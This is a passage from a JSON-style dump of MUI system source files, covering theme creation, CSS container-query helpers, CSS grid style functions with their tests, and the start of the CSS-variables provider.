    "content": "import { CSSObject } from '@mui/styled-engine';\nimport { Breakpoints, BreakpointsOptions } from '../createBreakpoints/createBreakpoints';\nimport { Shape, ShapeOptions } from './shape';\nimport { Spacing, SpacingOptions } from './createSpacing';\nimport { SxConfig, SxProps } from '../styleFunctionSx';\nimport { ApplyStyles } from './applyStyles';\nimport { CssContainerQueries } from '../cssContainerQueries';\n\nexport {\n  Breakpoint,\n  Breakpoints,\n  BreakpointOverrides,\n} from '../createBreakpoints/createBreakpoints';\n\nexport type Direction = 'ltr' | 'rtl';\n\nexport interface Typography {}\nexport interface Mixins {}\nexport interface Shadows {}\nexport interface Transitions {}\nexport interface ZIndex {}\n\nexport interface ThemeOptions {\n  shape?: ShapeOptions | undefined;\n  breakpoints?: BreakpointsOptions | undefined;\n  direction?: Direction | undefined;\n  mixins?: Mixins | undefined;\n  palette?: Record<string, any> | undefined;\n  shadows?: Shadows | undefined;\n  spacing?: SpacingOptions | undefined;\n  transitions?: Transitions | undefined;\n  components?: Record<string, any> | undefined;\n  typography?: Typography | undefined;\n  zIndex?: ZIndex | undefined;\n  unstable_sxConfig?: SxConfig | undefined;\n}\n\nexport interface Theme extends CssContainerQueries {\n  shape: Shape;\n  breakpoints: Breakpoints;\n  direction: Direction;\n  palette: Record<string, any> & { mode: 'light' | 'dark' };\n  shadows?: Shadows | undefined;\n  spacing: Spacing;\n  transitions?: Transitions | undefined;\n  components?: Record<string, any> | undefined;\n  mixins?: Mixins | undefined;\n  typography?: Typography | undefined;\n  zIndex?: ZIndex | undefined;\n  applyStyles: ApplyStyles<'light' | 'dark'>;\n  unstable_sxConfig: SxConfig;\n  unstable_sx: (props: SxProps<Theme>) => CSSObject;\n}\n\n/**\n * Generate a theme base on the options received.\n * @param options Takes an incomplete theme object and adds the missing parts.\n * @param args Deep merge the arguments with the about to be returned theme.\n * @returns A complete, ready-to-use theme object.\n */\nexport default function createTheme(options?: ThemeOptions, ...args: object[]): Theme;\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/createTheme.js",
    "content": "import deepmerge from '@mui/utils/deepmerge';\nimport createBreakpoints from '../createBreakpoints/createBreakpoints';\nimport cssContainerQueries from '../cssContainerQueries';\nimport shape from './shape';\nimport createSpacing from './createSpacing';\nimport styleFunctionSx from '../styleFunctionSx/styleFunctionSx';\nimport defaultSxConfig from '../styleFunctionSx/defaultSxConfig';\nimport applyStyles from './applyStyles';\n\nfunction createTheme(options = {}, ...args) {\n  const {\n    breakpoints: breakpointsInput = {},\n    palette: paletteInput = {},\n    spacing: spacingInput,\n    shape: shapeInput = {},\n    ...other\n  } = options;\n\n  const breakpoints = createBreakpoints(breakpointsInput);\n  const spacing = createSpacing(spacingInput);\n\n  let muiTheme = deepmerge(\n    {\n      breakpoints,\n      direction: 'ltr',\n      components: {}, // Inject component definitions.\n      palette: { mode: 'light', ...paletteInput },\n      spacing,\n      shape: { ...shape, ...shapeInput },\n    },\n    other,\n  );\n  muiTheme = cssContainerQueries(muiTheme);\n\n  muiTheme.applyStyles = applyStyles;\n\n  muiTheme = args.reduce((acc, argument) => deepmerge(acc, argument), muiTheme);\n\n  muiTheme.unstable_sxConfig = {\n    ...defaultSxConfig,\n    ...other?.unstable_sxConfig,\n  };\n  muiTheme.unstable_sx = function sx(props) {\n    return styleFunctionSx({\n      sx: props,\n      theme: this,\n    });\n  };\n\n  muiTheme.internal_cache = {};\n\n  return muiTheme;\n}\n\nexport default createTheme;\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/createTheme.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport { styled, ThemeProvider } from '@mui/system';\n\nimport createTheme from '@mui/system/createTheme';\n\ndescribe('createTheme', () => {\n  const { render } = createRenderer();\n  const breakpointsValues = {\n    xs: 0,\n    sm: 600,\n    md: 960,\n    lg: 1280,\n    xl: 1920,\n  };\n\n  const round = (value) => Math.round(value * 1e5) / 1e5;\n\n  const theme = createTheme({\n    spacing: (val) => `${val * 10}px`,\n    breakpoints: {\n      keys: ['xs', 'sm', 'md', 'lg', 'xl'],\n      values: breakpointsValues,\n      up: (key) => {\n        return `@media (min-width:${breakpointsValues[key]}px)`;\n      },\n    },\n    unit: 'px',\n    palette: {\n      primary: {\n        main: 'rgb(0, 0, 255)',\n      },\n      secondary: {\n        main: 'rgb(0, 255, 0)',\n      },\n    },\n    typography: {\n      fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n      fontWeightLight: 300,\n      fontSize: 14,\n      body1: {\n        fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n        fontSize: '1rem',\n        letterSpacing: `${round(0.15 / 16)}em`,\n        fontWeight: 400,\n        lineHeight: 1.5,\n      },\n      body2: {\n        fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n        fontSize: `${14 / 16}rem`,\n        letterSpacing: `${round(0.15 / 14)}em`,\n        fontWeight: 400,\n        lineHeight: 1.43,\n      },\n    },\n  });\n\n  describe('system', () => {\n    it.skipIf(isJsdom())('resolves system when used inside styled()', function test() {\n      const Test = styled('div')(({ theme: t }) =>\n        t.unstable_sx({\n          color: 'primary.main',\n          bgcolor: 'secondary.main',\n          m: 2,\n          p: 1,\n          fontSize: 'fontSize',\n          maxWidth: 'sm',\n        }),\n      );\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test />\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        color: 'rgb(0, 0, 255)',\n        backgroundColor: 'rgb(0, 255, 0)',\n        marginTop: '20px',\n        marginRight: '20px',\n        marginBottom: '20px',\n        marginLeft: '20px',\n        paddingTop: '10px',\n        paddingRight: '10px',\n        paddingBottom: '10px',\n        paddingLeft: '10px',\n        fontSize: '14px',\n        maxWidth: '600px',\n      });\n    });\n\n    it.skipIf(isJsdom())('resolves system when used inside variants', function test() {\n      const themeWithVariants = {\n        ...theme,\n        components: {\n          MuiTest: {\n            variants: [\n              {\n                props: {}, // all props\n                style: ({ theme: t }) =>\n                  t.unstable_sx({\n                    color: 'primary.main',\n                    bgcolor: 'secondary.main',\n                    m: 2,\n                    p: 1,\n                    fontSize: 'fontSize',\n                    maxWidth: 'sm',\n                  }),\n              },\n            ],\n          },\n        },\n      };\n\n      const Test = styled('div', { name: 'MuiTest', slot: 'Root' })(({ theme: t }) =>\n        t.unstable_sx({\n          color: 'primary.main',\n          bgcolor: 'secondary.main',\n          m: 2,\n          p: 1,\n          fontSize: 'fontSize',\n          maxWidth: 'sm',\n        }),\n      );\n\n      const { container } = render(\n        <ThemeProvider theme={themeWithVariants}>\n          <Test />\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        color: 'rgb(0, 0, 255)',\n        backgroundColor: 'rgb(0, 255, 0)',\n        marginTop: '20px',\n        marginRight: '20px',\n        marginBottom: '20px',\n        marginLeft: '20px',\n        paddingTop: '10px',\n        paddingRight: '10px',\n        paddingBottom: '10px',\n        paddingLeft: '10px',\n        fontSize: '14px',\n        maxWidth: '600px',\n      });\n    });\n\n    it('apply correct styles', () => {\n      const darkTheme = createTheme({\n        palette: {\n          mode: 'dark',\n          primary: {\n            main: 'rgb(0, 0, 255)',\n          },\n          secondary: {\n            main: 'rgb(0, 255, 0)',\n          },\n        },\n      });\n\n      expect(darkTheme.applyStyles('dark', { color: 'red' })).to.deep.equal({\n        color: 'red',\n      });\n      expect(darkTheme.applyStyles('light', { color: 'salmon' })).to.deep.equal({});\n\n      // assume switching to light theme\n      darkTheme.palette.mode = 'light';\n      expect(darkTheme.applyStyles('dark', { color: 'red' })).to.deep.equal({});\n      expect(darkTheme.applyStyles('light', { color: 'salmon' })).to.deep.equal({\n        color: 'salmon',\n      });\n    });\n\n    it('apply correct styles with new theme', () => {\n      const darkTheme = createTheme({\n        palette: {\n          mode: 'dark',\n          primary: {\n            main: 'rgb(0, 0, 255)',\n          },\n          secondary: {\n            main: 'rgb(0, 255, 0)',\n          },\n        },\n      });\n\n      const newTheme = { ...darkTheme, palette: { mode: 'light' } };\n      expect(newTheme.applyStyles('dark', { color: 'red' })).to.deep.equal({});\n      expect(newTheme.applyStyles('light', { color: 'salmon' })).to.deep.equal({\n        color: 'salmon',\n      });\n    });\n  });\n\n  it('does not throw if used without ThemeProvider', function test() {\n    const Test = styled('div')(({ theme: t }) =>\n      t.unstable_sx({\n        color: 'primary.main',\n        bgcolor: 'secondary.main',\n        m: 2,\n        p: 1,\n        fontSize: 'fontSize',\n        maxWidth: 'sm',\n      }),\n    );\n\n    expect(() => render(<Test />)).not.to.throw();\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/index.d.ts",
    "content": "export { default } from './createTheme';\nexport * from './createTheme';\nexport { default as unstable_applyStyles } from './applyStyles';\nexport * from './applyStyles';\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/index.js",
    "content": "export { default } from './createTheme';\nexport { default as private_createBreakpoints } from '../createBreakpoints/createBreakpoints';\nexport { default as unstable_applyStyles } from './applyStyles';\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/shape.d.ts",
    "content": "export interface Shape {\n  borderRadius: number | string;\n}\n\nexport type ShapeOptions = Partial<Shape>;\n\ndeclare const shape: Shape;\n\nexport default shape;\n"
  },
  {
    "path": "packages/mui-system/src/createTheme/shape.js",
    "content": "const shape = {\n  borderRadius: 4,\n};\n\nexport default shape;\n"
  },
  {
    "path": "packages/mui-system/src/cssContainerQueries/cssContainerQueries.test.ts",
    "content": "import { expect } from 'chai';\n\nimport createTheme from '@mui/system/createTheme';\nimport {\n  isCqShorthand,\n  sortContainerQueries,\n  getContainerQuery,\n} from '@mui/system/cssContainerQueries';\n\ndescribe('cssContainerQueries', () => {\n  it('should return false if the shorthand is not a container query', () => {\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@container (min-width:600px)')).to.equal(false);\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@media (min-width:600px)')).to.equal(false);\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@page')).to.equal(false);\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@support (display: flex)')).to.equal(false);\n  });\n\n  it('should return true if the shorthand is a container query', () => {\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@')).to.equal(true);\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@xs')).to.equal(true);\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@xs/sidebar')).to.equal(true);\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@md')).to.equal(true);\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@200')).to.equal(true);\n    expect(isCqShorthand(['xs', 'sm', 'md'], '@15.5rem')).to.equal(true);\n  });\n\n  it('should handle `@` without a breakpoint', () => {\n    const theme = createTheme();\n\n    expect(getContainerQuery(theme, '@')).to.equal('@container (min-width:0px)');\n  });\n\n  it('should have `up`, `down`, `between`, `only`, and `not` functions', () => {\n    const theme = createTheme();\n\n    expect(theme.containerQueries.up('sm')).to.equal('@container (min-width:600px)');\n    expect(theme.containerQueries.down('sm')).to.equal('@container (max-width:599.95px)');\n    expect(theme.containerQueries.between('sm', 'md')).to.equal(\n      '@container (min-width:600px) and (max-width:899.95px)',\n    );\n    expect(theme.containerQueries.only('sm')).to.equal(\n      '@container (min-width:600px) and (max-width:899.95px)',\n    );\n    expect(theme.containerQueries.not('xs')).to.equal('@container (min-width:600px)');\n    expect(theme.containerQueries.not('xl')).to.equal('@container (max-width:1535.95px)');\n    expect(theme.containerQueries.not('md')).to.equal(\n      '@container (width<900px) or (width>1199.95px)',\n    );\n  });\n\n  it('should be able to create named containment context', () => {\n    const theme = createTheme();\n\n    expect(theme.containerQueries('sidebar').up('sm')).to.equal(\n      '@container sidebar (min-width:600px)',\n    );\n    expect(theme.containerQueries('sidebar').down('sm')).to.equal(\n      '@container sidebar (max-width:599.95px)',\n    );\n    expect(theme.containerQueries('sidebar').between('sm', 'md')).to.equal(\n      '@container sidebar (min-width:600px) and (max-width:899.95px)',\n    );\n    expect(theme.containerQueries('sidebar').only('sm')).to.equal(\n      '@container sidebar (min-width:600px) and (max-width:899.95px)',\n    );\n    expect(theme.containerQueries('sidebar').not('xs')).to.equal(\n      '@container sidebar (min-width:600px)',\n    );\n    expect(theme.containerQueries('sidebar').not('xl')).to.equal(\n      '@container sidebar (max-width:1535.95px)',\n    );\n    expect(theme.containerQueries('sidebar').not('sm')).to.equal(\n      '@container sidebar (width<600px) or (width>899.95px)',\n    );\n  });\n\n  it('should sort container queries', () => {\n    const theme = createTheme();\n\n    const css = {\n      '@container (min-width:960px)': {},\n      '@container (min-width:1280px)': {},\n      '@container (min-width:0px)': {},\n      '@container (min-width:600px)': {},\n    };\n\n    const sorted = sortContainerQueries(theme, css);\n\n    expect(Object.keys(sorted)).to.deep.equal([\n      '@container (min-width:0px)',\n      '@container (min-width:600px)',\n      '@container (min-width:960px)',\n      '@container (min-width:1280px)',\n    ]);\n  });\n\n  it('should sort container queries with other unit', () => {\n    const theme = createTheme();\n\n    const css = {\n      '@container (min-width:30.5rem)': {},\n      '@container (min-width:20rem)': {},\n      '@container (min-width:50.5rem)': {},\n      '@container (min-width:40rem)': {},\n    };\n\n    const sorted = sortContainerQueries(theme, css);\n\n    expect(Object.keys(sorted)).to.deep.equal([\n      '@container (min-width:20rem)',\n      '@container (min-width:30.5rem)',\n      '@container (min-width:40rem)',\n      '@container (min-width:50.5rem)',\n    ]);\n  });\n\n  it('should throw an error if shorthand is invalid', () => {\n    expect(() => {\n      const theme = createTheme();\n      getContainerQuery(theme, 'cq0');\n    }).to.throw(\n      'MUI: The provided shorthand (cq0) is invalid. The format should be `@<breakpoint | number>` or `@<breakpoint | number>/<container>`.\\n' +\n        'For example, `@sm` or `@600` or `@40rem/sidebar`.',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/cssContainerQueries/cssContainerQueries.ts",
    "content": "import { Breakpoints, Breakpoint } from '../createBreakpoints/createBreakpoints';\n\nexport interface ContainerQueries {\n  up: Breakpoints['up'];\n  down: Breakpoints['down'];\n  between: Breakpoints['between'];\n  only: Breakpoints['only'];\n  not: Breakpoints['not'];\n}\n\nexport interface CssContainerQueries {\n  containerQueries: ((name: string) => ContainerQueries) & ContainerQueries;\n}\n\nconst MIN_WIDTH_PATTERN = /min-width:\\s*([0-9.]+)/;\n\n/**\n * WARN: Mutably updates the `css` object.\n * For using in `sx` prop to sort the breakpoint from low to high.\n * Note: this function does not work and will not support multiple units.\n *       e.g. input: { '@container (min-width:300px)': '1rem', '@container (min-width:40rem)': '2rem' }\n *            output: { '@container (min-width:40rem)': '2rem', '@container (min-width:300px)': '1rem' } // since 40 < 300 even though 40rem > 300px\n */\nexport function sortContainerQueries(\n  theme: Partial<CssContainerQueries>,\n  css: Record<string, any>,\n) {\n  if (!theme.containerQueries || !hasContainerQuery(css)) {\n    return css;\n  }\n\n  const keys = [];\n\n  for (const key in css) {\n    if (key.startsWith('@container')) {\n      keys.push(key);\n    }\n  }\n\n  keys.sort((a, b) => {\n    return +(a.match(MIN_WIDTH_PATTERN)?.[1] || 0) - +(b.match(MIN_WIDTH_PATTERN)?.[1] || 0);\n  });\n\n  const result = css;\n\n  for (let i = 0; i < keys.length; i += 1) {\n    const key = keys[i];\n    const value = result[key];\n    delete result[key];\n    result[key] = value;\n  }\n\n  return result;\n}\n\nfunction hasContainerQuery(css: Record<string, any>) {\n  for (const key in css) {\n    if (key.startsWith('@container')) {\n      return true;\n    }\n  }\n  return false;\n}\n\nexport function isCqShorthand(breakpointKeys: string[], value: string) {\n  return (\n    value === '@' ||\n    (value.startsWith('@') &&\n      (breakpointKeys.some((key) => value.startsWith(`@${key}`)) || !!value.match(/^@\\d/)))\n  );\n}\n\nexport function getContainerQuery(theme: CssContainerQueries, shorthand: string) {\n  const matches = shorthand.match(/^@([^/]+)?\\/?(.+)?$/);\n  if (!matches) {\n    if (process.env.NODE_ENV !== 'production') {\n      throw /* minify-error */ new Error(\n        `MUI: The provided shorthand ${`(${shorthand})`} is invalid. The format should be \\`@<breakpoint | number>\\` or \\`@<breakpoint | number>/<container>\\`.\\n` +\n          'For example, `@sm` or `@600` or `@40rem/sidebar`.',\n      );\n    }\n    return null;\n  }\n  const [, containerQuery, containerName] = matches;\n  const value = (Number.isNaN(+containerQuery) ? containerQuery || 0 : +containerQuery) as\n    | Breakpoint\n    | number;\n  return theme.containerQueries(containerName).up(value);\n}\n\nexport default function cssContainerQueries<T extends { breakpoints: Breakpoints }>(\n  themeInput: T,\n): T & CssContainerQueries {\n  const toContainerQuery = (mediaQuery: string, name?: string) =>\n    mediaQuery.replace('@media', name ? `@container ${name}` : '@container');\n\n  function attachCq(node: any, name?: string) {\n    node.up = (...args: Parameters<Breakpoints['up']>) =>\n      toContainerQuery(themeInput.breakpoints.up(...args), name);\n\n    node.down = (...args: Parameters<Breakpoints['down']>) =>\n      toContainerQuery(themeInput.breakpoints.down(...args), name);\n\n    node.between = (...args: Parameters<Breakpoints['between']>) =>\n      toContainerQuery(themeInput.breakpoints.between(...args), name);\n\n    node.only = (...args: Parameters<Breakpoints['only']>) =>\n      toContainerQuery(themeInput.breakpoints.only(...args), name);\n\n    node.not = (...args: Parameters<Breakpoints['not']>) => {\n      const result = toContainerQuery(themeInput.breakpoints.not(...args), name);\n      if (result.includes('not all and')) {\n        // `@container` does not work with `not all and`, so need to invert the logic\n        return result\n          .replace('not all and ', '')\n          .replace('min-width:', 'width<')\n          .replace('max-width:', 'width>')\n          .replace('and', 'or');\n      }\n      return result;\n    };\n  }\n  const node = {};\n  const containerQueries = ((name: string) => {\n    attachCq(node, name);\n    return node;\n  }) as CssContainerQueries['containerQueries'];\n\n  attachCq(containerQueries);\n\n  return {\n    ...themeInput,\n    containerQueries,\n  };\n}\n"
  },
  {
    "path": "packages/mui-system/src/cssContainerQueries/index.ts",
    "content": "export { default } from './cssContainerQueries';\nexport { isCqShorthand, getContainerQuery, sortContainerQueries } from './cssContainerQueries';\nexport type { CssContainerQueries } from './cssContainerQueries';\n"
  },
  {
    "path": "packages/mui-system/src/cssGrid/cssGrid.d.ts",
    "content": "import { PropsFor, SimpleStyleFunction } from '../style';\n\nexport const gap: SimpleStyleFunction<'gap'>;\nexport const columnGap: SimpleStyleFunction<'columnGap'>;\nexport const rowGap: SimpleStyleFunction<'rowGap'>;\nexport const gridColumn: SimpleStyleFunction<'gridColumn'>;\nexport const gridRow: SimpleStyleFunction<'gridRow'>;\nexport const gridAutoFlow: SimpleStyleFunction<'gridAutoFlow'>;\nexport const gridAutoColumns: SimpleStyleFunction<'gridAutoColumns'>;\nexport const gridAutoRows: SimpleStyleFunction<'gridAutoRows'>;\nexport const gridTemplateColumns: SimpleStyleFunction<'gridTemplateColumns'>;\nexport const gridTemplateRows: SimpleStyleFunction<'gridTemplateRows'>;\nexport const gridTemplateAreas: SimpleStyleFunction<'gridTemplateAreas'>;\nexport const gridArea: SimpleStyleFunction<'gridArea'>;\n\ndeclare const grid: SimpleStyleFunction<\n  | 'gap'\n  | 'columnGap'\n  | 'rowGap'\n  | 'gridColumn'\n  | 'gridRow'\n  | 'gridAutoFlow'\n  | 'gridAutoColumns'\n  | 'gridAutoRows'\n  | 'gridTemplateColumns'\n  | 'gridTemplateRows'\n  | 'gridTemplateAreas'\n  | 'gridArea'\n>;\n\nexport type CssGridProps = PropsFor<typeof grid>;\n\nexport default grid;\n"
  },
  {
    "path": "packages/mui-system/src/cssGrid/cssGrid.js",
    "content": "import style from '../style';\nimport compose from '../compose';\nimport { createUnaryUnit, getValue } from '../spacing';\nimport { handleBreakpoints } from '../breakpoints';\nimport responsivePropType from '../responsivePropType';\n\n// false positive\n// eslint-disable-next-line react/function-component-definition\nexport const gap = (props) => {\n  if (props.gap !== undefined && props.gap !== null) {\n    const transformer = createUnaryUnit(props.theme, 'spacing', 8, 'gap');\n    const styleFromPropValue = (propValue) => ({\n      gap: getValue(transformer, propValue),\n    });\n    return handleBreakpoints(props, props.gap, styleFromPropValue);\n  }\n\n  return null;\n};\n\ngap.propTypes = process.env.NODE_ENV !== 'production' ? { gap: responsivePropType } : {};\n\ngap.filterProps = ['gap'];\n\n// false positive\n// eslint-disable-next-line react/function-component-definition\nexport const columnGap = (props) => {\n  if (props.columnGap !== undefined && props.columnGap !== null) {\n    const transformer = createUnaryUnit(props.theme, 'spacing', 8, 'columnGap');\n    const styleFromPropValue = (propValue) => ({\n      columnGap: getValue(transformer, propValue),\n    });\n    return handleBreakpoints(props, props.columnGap, styleFromPropValue);\n  }\n\n  return null;\n};\n\ncolumnGap.propTypes =\n  process.env.NODE_ENV !== 'production' ? { columnGap: responsivePropType } : {};\n\ncolumnGap.filterProps = ['columnGap'];\n\n// false positive\n// eslint-disable-next-line react/function-component-definition\nexport const rowGap = (props) => {\n  if (props.rowGap !== undefined && props.rowGap !== null) {\n    const transformer = createUnaryUnit(props.theme, 'spacing', 8, 'rowGap');\n    const styleFromPropValue = (propValue) => ({\n      rowGap: getValue(transformer, propValue),\n    });\n    return handleBreakpoints(props, props.rowGap, styleFromPropValue);\n  }\n\n  return null;\n};\n\nrowGap.propTypes = process.env.NODE_ENV !== 'production' ? { rowGap: responsivePropType } : {};\n\nrowGap.filterProps = ['rowGap'];\n\nexport const gridColumn = style({\n  prop: 'gridColumn',\n});\n\nexport const gridRow = style({\n  prop: 'gridRow',\n});\n\nexport const gridAutoFlow = style({\n  prop: 'gridAutoFlow',\n});\n\nexport const gridAutoColumns = style({\n  prop: 'gridAutoColumns',\n});\n\nexport const gridAutoRows = style({\n  prop: 'gridAutoRows',\n});\n\nexport const gridTemplateColumns = style({\n  prop: 'gridTemplateColumns',\n});\n\nexport const gridTemplateRows = style({\n  prop: 'gridTemplateRows',\n});\n\nexport const gridTemplateAreas = style({\n  prop: 'gridTemplateAreas',\n});\n\nexport const gridArea = style({\n  prop: 'gridArea',\n});\n\nconst grid = compose(\n  gap,\n  columnGap,\n  rowGap,\n  gridColumn,\n  gridRow,\n  gridAutoFlow,\n  gridAutoColumns,\n  gridAutoRows,\n  gridTemplateColumns,\n  gridTemplateRows,\n  gridTemplateAreas,\n  gridArea,\n);\n\nexport default grid;\n"
  },
  {
    "path": "packages/mui-system/src/cssGrid/cssGrid.test.js",
    "content": "import { expect } from 'chai';\nimport grid from './cssGrid';\n\ndescribe('grid', () => {\n  it('should use the spacing unit', () => {\n    const output = grid({\n      gap: 1,\n    });\n    expect(output).to.deep.equal({\n      gap: 8,\n    });\n  });\n\n  it('should accept 0', () => {\n    const output = grid({\n      gap: 0,\n      columnGap: 0,\n      rowGap: 0,\n    });\n    expect(output).to.deep.equal({\n      gap: 0,\n      columnGap: 0,\n      rowGap: 0,\n    });\n  });\n\n  it('should support breakpoints', () => {\n    const output = grid({\n      gap: [1, 2],\n    });\n    expect(output).to.deep.equal({\n      '@media (min-width:0px)': {\n        gap: 8,\n      },\n      '@media (min-width:600px)': {\n        gap: 16,\n      },\n    });\n  });\n\n  it('should support container queries', () => {\n    const output1 = grid({\n      gap: {\n        '@sm': 1,\n        '@900/sidebar': 2,\n        '@80rem/sidebar': 3,\n      },\n    });\n    expect(output1).to.deep.equal({\n      '@container (min-width:600px)': {\n        gap: 8,\n      },\n      '@container sidebar (min-width:900px)': {\n        gap: 16,\n      },\n      '@container sidebar (min-width:80rem)': {\n        gap: 24,\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/cssGrid/index.ts",
    "content": "export { default } from './cssGrid';\nexport * from './cssGrid';\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/createCssVarsProvider.d.ts",
    "content": "import * as React from 'react';\nimport InitColorSchemeScript from '../InitColorSchemeScript';\nimport { Result } from './useCurrentColorScheme';\nimport type { StorageManager } from './localStorageManager';\n\nexport interface ColorSchemeContextValue<\n  SupportedColorScheme extends string,\n> extends Result<SupportedColorScheme> {\n  allColorSchemes: SupportedColorScheme[];\n}\n\nexport interface CssVarsProviderConfig<ColorScheme extends string> {\n  /**\n   * DOM attribute for applying color scheme\n   * @default 'data-color-scheme'\n   */\n  attribute?: string | undefined;\n  /**\n   * localStorage key used to store application `mode`\n   * @default 'mode'\n   */\n  modeStorageKey?: string | undefined;\n  /**\n   * localStorage key used to store `colorScheme`\n   * @default 'color-scheme'\n   */\n  colorSchemeStorageKey?: string | undefined;\n  /**\n   * Design system default color scheme.\n   * - provides string if the design system has one default color scheme (either light or dark)\n   * - provides object if the design system has default light & dark color schemes\n   */\n  defaultColorScheme: ColorScheme | { light: ColorScheme; dark: ColorScheme };\n  /**\n   * Disable CSS transitions when switching between modes or color schemes\n   * @default false\n   */\n  disableTransitionOnChange?: boolean | undefined;\n  /**\n   * If `true`, theme values are recalculated when the mode changes.\n   * The `theme.colorSchemes.{mode}.*` nodes will be shallow merged to the top-level of the theme.\n   * @default false\n   */\n  forceThemeRerender?: boolean | undefined;\n}\n\ntype Identify<I extends string | undefined, T> = I extends string ? T | { [k in I]: T } : T;\n\nexport interface CreateCssVarsProviderResult<\n  ColorScheme extends string,\n  Identifier extends string | undefined = undefined,\n> {\n  CssVarsProvider: (\n    props: React.PropsWithChildren<\n      Partial<CssVarsProviderConfig<ColorScheme>> & {\n        theme?:\n          | Identify<\n              Identifier,\n              {\n                cssVariables?: false | undefined;\n                cssVarPrefix?: string | undefined;\n                colorSchemes: Partial<Record<ColorScheme, any>>;\n                colorSchemeSelector?: 'media' | 'class' | 'data' | string | undefined;\n              }\n            >\n          | undefined;\n        /**\n         * The default mode when the storage is empty,\n         * require the theme to have `colorSchemes` with light and dark.\n         * @default 'system'\n         */\n        defaultMode?: 'light' | 'dark' | 'system' | undefined;\n        /**\n         * The document used to perform `disableTransitionOnChange` feature\n         * @default document\n         */\n        documentNode?: Document | null | undefined;\n        /**\n         * The node used to attach the color-scheme attribute\n         * @default document\n         */\n        colorSchemeNode?: Element | null | undefined;\n        /**\n         * The storage manager to be used for storing the mode and color scheme.\n         * @default using `window.localStorage`\n         */\n        storageManager?: StorageManager | null | undefined;\n        /**\n         * The window that attaches the 'storage' event listener\n         * @default window\n         */\n        storageWindow?: Window | null | undefined;\n        /**\n         * If `true`, the provider creates its own context and generate stylesheet as if it is a root `CssVarsProvider`.\n         */\n        disableNestedContext?: boolean | undefined;\n        /**\n         * If `true`, the style sheet won't be generated.\n         *\n         * This is useful for controlling nested CssVarsProvider behavior.\n         * @default false\n         */\n        disableStyleSheetGeneration?: boolean | undefined;\n      }\n    >,\n  ) => React.JSX.Element;\n  useColorScheme: () => ColorSchemeContextValue<ColorScheme>;\n  getInitColorSchemeScript: typeof InitColorSchemeScript;\n}\n\nexport default function createCssVarsProvider<\n  ColorScheme extends string,\n  Identifier extends string | undefined = undefined,\n>(\n  options: CssVarsProviderConfig<ColorScheme> & {\n    /**\n     * The design system's unique id for getting the corresponded theme when there are multiple design systems.\n     */\n    themeId?: Identifier | undefined;\n    /**\n     * Design system default theme\n     *\n     * - The structure inside `theme.colorSchemes[colorScheme]` should be exactly the same in all color schemes because\n     * those object of the color scheme will be used when the color scheme is active.\n     *\n     *  {\n     *    colorSchemes: {\n     *      light: { ...lightColorSchemeValues },\n     *      dark: { ...darkColorSchemeValues }\n     *    }\n     *  }\n     *\n     * - If colorScheme is 'light', the `lightColorSchemeValues` will be merged to theme as `{ ...theme, ...lightColorSchemeValues }`\n     *   likewise, if colorScheme is 'dark', the `darkColorSchemeValues` will be merged to theme as `{ ...theme, ...darkColorSchemeValues }`\n     *\n     * - If the theme contains the same keys as the color scheme, their values will be merged.\n     *  Ex. {\n     *    colorSchemes: {\n     *      light: { palette: { primary: { ... } } },\n     *      dark: { palette: { primary: { ...} } }\n     *    },\n     *    palette: { shared: { ... } }\n     *  }\n     *\n     *  becomes: {\n     *    colorSchemes: { ... },\n     *    palette: { shared: { ... }, primary: { ... } }\n     *  }\n     */\n    theme: any;\n    /**\n     * A function to be called after the CSS variables are attached. The result of this function will be the final theme pass to ThemeProvider.\n     *\n     * The example usage is the variant generation in Joy. We need to combine the token from user-input and the default theme first, then generate\n     * variants from those tokens.\n     */\n    resolveTheme?: ((theme: any) => any) | undefined; // the type is any because it depends on the design system.\n  },\n): CreateCssVarsProviderResult<ColorScheme, Identifier>;\n\n// disable automatic export\nexport {};\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/createCssVarsProvider.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { GlobalStyles } from '@mui/styled-engine';\nimport { useTheme as muiUseTheme } from '@mui/private-theming';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\nimport ThemeProvider from '../ThemeProvider';\nimport InitColorSchemeScript, {\n  DEFAULT_COLOR_SCHEME_STORAGE_KEY,\n  DEFAULT_MODE_STORAGE_KEY,\n} from '../InitColorSchemeScript/InitColorSchemeScript';\nimport useCurrentColorScheme from './useCurrentColorScheme';\n\nexport const DISABLE_CSS_TRANSITION =\n  '*{-webkit-transition:none!important;-moz-transition:none!important;-o-transition:none!important;-ms-transition:none!important;transition:none!important}';\n\nexport default function createCssVarsProvider(options) {\n  const {\n    themeId,\n    /**\n     * This `theme` object needs to follow a certain structure to\n     * be used correctly by the finel `CssVarsProvider`. It should have a\n     * `colorSchemes` key with the light and dark (and any other) palette.\n     * It should also ideally have a vars object created using `prepareCssVars`.\n     */\n    theme: defaultTheme = {},\n    modeStorageKey: defaultModeStorageKey = DEFAULT_MODE_STORAGE_KEY,\n    colorSchemeStorageKey: defaultColorSchemeStorageKey = DEFAULT_COLOR_SCHEME_STORAGE_KEY,\n    disableTransitionOnChange: 